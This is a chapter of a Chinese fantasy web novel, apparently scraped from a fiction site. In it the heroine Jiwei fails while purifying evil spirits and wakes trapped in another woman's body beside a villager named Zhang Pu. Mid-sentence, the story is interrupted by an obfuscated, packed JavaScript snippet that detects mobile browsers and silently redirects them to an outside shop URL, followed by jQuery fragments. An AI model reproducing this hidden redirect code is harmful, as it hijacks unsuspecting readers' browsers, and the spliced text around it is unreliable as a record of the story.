文趣网 > 其他小说 > 师妹她怎会如此 > 144. 异躯异途
    纠结、徘徊、挣扎。

    许多个心焦无措的念头被瞬间放大,根本不给人任何反应的机会,就这么横冲直撞地闯进霁薇的神识。

    森然阴气幻化成数千道毒刺,循着扰乱平静的那抹气息,直直地朝底下那正盘膝端坐,额前与神兽触角相触的肉身袭去!

    可就在毒刺即将触碰到肉身的前夕,一道金色波纹猝然出现,毫不留情地将其打散!

    黑雾化成的毒刺顿时碎裂,变成似灰尘却又肉眼可见的颗粒般地模样,在空气中弥漫开来。

    而端坐在地的那位女子呼吸平稳,丝毫没有受到任何影响,就连眉头都始终舒展轻松。

    可一旦透过那层蒙尘颗粒,顺着金光四溢的地方向上瞧去,便不难看出那重隐没在光环下的透色灵体,已然有了闪烁的迹象。

    霁薇的整颗心脏震颤不已,她虽将魂体脱离肉身,但藕断丝连的感知依旧能清晰的传来胸腔内宛如一箭穿心般汹涌翻腾的痛楚。

    哭泣、嬉笑、哀叹……

    百种纷杂的声音席卷着百种复杂的情绪,就像是潮水激荡掀起的浪花,争先恐后地闯进她的意识。

    每一次浪花翻涌,感知便会传来心脏几乎要挣脱脉络、冲垮血肉、撕裂蹦出的痛苦!

    属于馒头的上古神力不停地通过触角渡入她的肉身,安抚着异常跳动的心脉。

    缕缕金光从她的身体由内而外的扩散出来,汇聚成几条蜿蜒连绵的金色光流,缓缓没入半空中作为媒介的透色灵体。

    随着魂体内的心神意动,只在猝不及防间,数道光流瞬时牵引而出,猛然涌进头顶那些盘旋不散黑雾当中!

    第四只、第五只、第九只……

    一个接一个的数字不断在霁薇的脑海浮现,然而本应带来希望的默数,却并未令她感到丝毫松快,反倒令她所感受到的痛苦更为加剧。

    好似有把生锈的钝刀在心脏内不停地来回搅弄,势必要令她肝肠断裂才肯罢休。

    即便是柔和而强大的神祝之力不断地庇护着她的心脉,但只在渡化到第十三只恶灵时,汹涌澎湃的怨气险些就要冲破金光屏障,将她一并吞噬殆尽!

    霁薇本就有些犹豫不决的心变得更加动摇,她满门心思想要担下的责任也在一点点消散。

    她开始有了知难而退的惧意。

    与方才所想的完全不同——

    因为……她根本控制不住自己的心不去听,不去看!

    此刻洞内到处弥漫着一种仿若灰飞烟灭般的黑色颗粒。

    被神祝渡化后的魂魄终于褪去怨念,脱离苦海,但残留的念力却依附在了那些飞扬的颗粒中,忽远忽近、忽快忽慢,无声无息地诉说着它们曾经受过的,堪比肝肠寸断的痛苦。

    百般复杂且不同的苦涩交织纠缠,慢慢地便与此间空气融合到了一起。

    耳畔是从深渊传来的哀嚎,呼天抢地的哭吼不断冲击着她的耳膜,凄厉又绝望。

    眼前是一场场被狂风撕烂的幻梦泡影,零零散散地拼凑出无数个碎片画卷,飘忽不定,化作毒刺荆棘,悠悠晃晃地刺进她的眼底。

    神祝之力被她用意识生疏的操控着,前去渡化的金光笨拙地抓住逃窜的黑团。

    渡化恶灵的进展看起来缓慢却平稳。

    但霁薇却越来越力不从心。

    此刻她的心神,在周遭这混乱嘈杂的声音与画面中,竟开始不受控制地迷失方向,不知目的!

    前有复制阵法纠缠,后有天雷无情轰击。且不说灵力的大量消耗,单论她的精神,也早被前不久的经历消磨了大半。

    心神动摇,稍有不慎便会控制不住神力。

    一旦在恶灵面前暴露出破绽,那么她也会因着念力增生,一并魂飞魄散!

    因此,当察觉疲惫让自己力不从心的瞬间,保留在肉身的一缕神识便立刻借助神祝之力,穿透她的身体,直直去将她剥离出去的魂体拼命地往下拽。

    萦绕在周遭的金光顺势筑起一道巨大的保护屏障,将她的魂体牢牢保护在内。

    可就在霁薇下意识地想要收手,调整须臾以待良机时,飘在不远处的一缕意识突然猛地一沉!

    是她以魂体意识操控的神祝再次抓住了恶灵!

    而且还是一只怨念颇重的恶灵!

    但此刻,肉身跳动的心脉已经无法在短时间内承受渡化传来的压力,异常悸动得心跳在耳畔咚咚作响,即将就要呼之欲出。

    霁薇旋即收敛心神,为了护住心脉,她只得缓慢地尝试去松开抓住恶灵的那缕意识。

    谁知,就在神识收拢回来的下一刻,腥臭黏稠的味道与触觉接憧而至,不断传进霁薇的感知。

    忽然间,她的心脉猛抽了两下,呼吸猝尔顿住。

    她这次抓住的分明是……

    三只怨念极深、极强、极劣的恶灵!

    它们彼此之间的念力深深黏合,虽难舍难分,但并不像其他恶灵一样互相排挤。

    察觉到这抹异样的同时,霁薇想要松开的那缕意识立刻戛然而止。

    她顿时进退两难。

    松了手,也许再难有如此良机;而不松开,她却要面临心脏欲裂的危险。

    就在她即将陷入纠结挣扎之际,被意识抓住的恶灵念力登时化出一道长而锐利的毒刺,猛地刺向金光屏障!

    这一瞬间,宛如有道惊雷猝然劈击而落,刹那间惊散好不容易收拢回来的神识。

    心神稍有不宁,毒刺便立即趁虚而入,将困住恶灵的痛苦根源搅得更加凶猛,威力陡增数倍!

    咔嚓——

    不知从何而来的异响突然响起,轻飘飘的,却让人心里直发毛。

    时间在这一刻仿若静止,耳畔因呼吸停滞从而缺氧变得一片空寂,周围的声响开始变得模糊不清。

    魂体以感知为目,霁薇错愕不已,完全失了本能反应。

    细微的嗡鸣声从四周悄然掀起,只在怔愣须臾间,乍然便似汹涌洪水般冲垮决堤,震耳欲聋,仿佛要将所有的一切全部吞噬!

    “嚓!”

    然而一道清脆的断裂声却如同破空利刃,顿时压过了堆积在耳孔里的密密匝匝地嗡嗡声。

    ……金光屏障,破了!

    刹那间,毒刺肆意生长,以极快地速度穿透屏障直指操控神力的那缕意识!

    完全不留任何反应的机会,神祝之力一朝被击破,庇护魂体的温暖瞬时消失得无影无踪。

    可霁薇尚未来得及感受神力脱身的艰涩,强悍森然的阴邪气息登时便从四面八方朝她的魂体包围而来!

    团团黑雾状的东西幻化成脉络的样子,争前恐后地游走进霁薇的魂体之中,霸道地侵占起她的意识。

    “呃……不、不!不要!不要……!!”

    惨厉的哀嚎声响起的刹那,便陡然畸变了尾调。

    阴邪霎时间肆无忌惮地游荡满室,暗红水渍悄然蔓延整座洞穴,搅得满地火苗躁动不安。

    如同鬼魅般的邪笑从每一道壁缝中挤出,层层叠叠,越爬越高,最后竟“咔”地一声拧断尾音,像把脖子折到背后,却仍贴着耳廓,往颅骨里灌进幽冷的寒风。

    “咚。”

    一声闷响,端坐在地的肉身空壳随着神识坠回,重重歪倒在地上。

    霁薇的脑袋软绵绵地滚过半圈,脸颊贴着湿岩,嘴角拖出一道带泥的痕迹。

    湿润的蠕动声跟随水渍贴地滑行,所过之处冒出细小泡响,鳞片似的摩擦音一路蹭到她的耳廓,仿佛黑暗中有条看不见的长舌,正悠哉地卷住她的四肢,欲要把留有余温的身体往更幽暗的深处里拖。

    “阿娘……”

    沉郁低沉的青年音色似是从墙缝中缓缓挤出,带着几分难以察觉的颤抖与哽咽,悄无声息地直直闯进那双嗡鸣阵阵的耳孔。

    空气中到处弥漫着腥臭腐烂的味道,而那倒在暗红水渍中的人儿,却只是无意识地动了动近乎僵住的手指。

    “娘、娘……”又是一道急促的呢喃。

    只是这次,那仿若呼唤的声音骤然转变成稚嫩童音。他像是在模仿前人的模样,小心翼翼地、笨拙地,依葫芦画瓢地一遍遍唤着“娘”这个字。

    但他的情绪显然比前面那青年要浓烈得多。

    止不住的哭腔中充满了恐惧与无助,仿佛是只迷失在暴雨中的雏鸟,拼命地寻找着母亲的踪迹。

    似乎只有通过这样不断地呼喊,才会出现一根救命稻草,将他们从黑暗的恐惧中拉出来。

    可他们……又是谁呢?

    就在疑惑的种子刚冒出头时,倒在水泊中的霁薇猛觉一寒。

    萦绕在耳畔的嗡鸣声下一刻瞬间退散,随即涌上来的,是铺天盖地卷着重压的寂然。

    荒凉寂寂,同她心神共鸣的馒头昏厥在逐渐冷却的怀抱中,而双方残留的意识,却在不知不觉间化作点点光斑,缓慢且小心地汇聚在了一起。

    于是,静默下来的水渍表面,再度泛起了微小涟漪。

    ***

    “姑娘,姑娘?醒醒,你醒醒啊姑娘。”

    好吵。

    “你醒一醒啊姑娘!你这样,我我可、怎么回家呀!”

    ……好吵的人。

    昏厥消沉的意识在这一声声焦促的呼唤中被瞬间惊扰,无法再安宁的同时,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17902715|154736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    浓烈的酸痛感立刻挑着身体感知最清晰的地方猛地冲击而来,令那本就不安的心绪更添了几分烦躁。

    霁薇下意识蹙起眉头,清瘦的面容登时皱成一团,对那声音的来源露出极其厌烦的情绪。

    “姑娘你这……嗐,醒了就赶紧起来吧!你要是不起来,我哪敢儿离开啊!”

    许是看到了她较为明显的面部表情,那男子说话的声音陡然拔高了几分。

    然而此时,霁薇的意识虽是惊醒,但宛若骨裂般的痛苦却争前恐后地霸占起她的四肢百骸,挤压着全部感知与神经,只叫她对于耳畔那阵阵嘈杂而有心无力。

    但见她一直不肯睁眼,也不肯回应自己,那男子情急之下,唤着唤着,竟倏然抬掌打了两下她的脸颊。

    “啪。”

    清脆的巴掌声瞬间响起,力道虽然不重,但却令她突觉一阵羞愤,脸蛋腾地涌上一股热潮,就连纠缠全身的钻心痛楚也似乎被这热气遣散许多。

    “……”

    喂,打人不打脸啊!

    好没分寸的人!!

    突如其来的掌掴就像是一把火,猛然点燃了她心中的怨愤,顷刻间让她从半梦半醒的混沌中找回神来。

    脸颊时不时传来富有节奏的心跳,将那股燃起的燥意变得更浓,也更令她此刻的这副身躯骤然喘出几口粗气。

    但这番动作却令那男子顿时一喜。

    似乎是察觉出拍脸有用,他随即又扬起手,再次往那张渐渐红润的脸颊上打了几下。

    ……

    “……够了!”

    可在极度嘶哑的声音颤巍巍响起的瞬间,只见那刚刚被手掌掀起的微风顿时消散在半空。

    那男子立刻止住动作,又因着好像察觉了什么,使得他错愕原地,迟迟不将高举的手臂从空中收回。

    与此同时,躺在地上的霁薇同样在心中升起了几分讶然。

    就在二人之间诡异地沉默时,她再次试探性地张了张嘴。

    “呃、你你……我……”

    果不其然,随着意识回笼,感知深入浑身上下如鼓点般混乱却有序的疼痛中,悄然捕捉到喉间的那抹滚烫,不是错觉。

    她的嗓子不知叫何物强行挤压过,声带内突突狂跳,让她吐出的字句变得沙哑难辨。

    然而恶灵并没有实体。

    那些难以渡化的怨念同样是以看似虚无缥缈的黑雾状态游荡于世。

    所以霁薇记得清楚,在自己的魂体被侵扰而坠回身躯时,并没有任何东西对自己的身躯袭来重压。

    眼下这游荡在四肢百骸的疼痛,她能想到的唯一解释,便只有那些恶灵的念力扰乱了她魂魄的安稳。

    因此,才会在她意识转醒时,停滞体内的怨念化作骨断筋折的疼痛,不由分说地遍布在她的四肢百骸。

    “……嗐!”

    不等霁薇想出个所以然来,一声急叹伴着清脆的合掌声陡然打散了她好不容易聚拢的思绪。

    “太好了!你可算是醒了!姑娘这一来二去的,简直是要把我吓个半死啊!”

    令人烦躁的喧哗声再次传进耳郭,奈何霁薇因身躯难耐,眼皮酸胀,根本无力将视线打开一条缝隙,去瞧一瞧蹲在身侧那男子的样貌。

    以及,窥探出他究竟想做什么?

    但好在借由感知,霁薇依旧能隐约感受到多数炽热的阳光被这人尽数遮挡了过去。

    这男子嗓门如此大,而周遭却也没有旁的人声跟着附和,反倒只是一些飞掠路过的零星鸟鸣。想来他们此刻的身处之地,怕不是什么荒郊野外。

    思及此,霁薇心下刚有了些谱,随即又听身侧男子吐出一句劫后余生地感慨。

    “唉,大难不死必有后福。我都撑过来了,你怎么就是不行呢?也罢也罢……说来说去也不过是多费口舌。可我既遇着你,就不可能放任不管。从此刻开始,你这条命就归我张蒲管了,管的死死的!在回村之前,我会寸步不离地盯着你,你别再想偷溜去那劳什子崖边,还有去找那什么破树枝子。”

    话到最后,他焦急的情绪更添浓烈,但霁薇听着听着,生厌的心绪却慢慢冷静下来。

    心思一静,她便更能认真地揣摩起此人话中含着的信息量。

    听完他的口述,霁薇最先反应过来的,是对于自己此时此地的真实身份。

    与当初在海底的时光洪流显然不同,这次她的魂魄似乎是被困在了这副不属于自己的身躯内,可那些被念力侵蚀的疼痛所掩盖的、原本属于这身躯的痛苦,她却也能清晰地感受到。

    仿佛现下,她不再是“霁薇”,只是这个不知姓名、寻死觅活的绝望女子。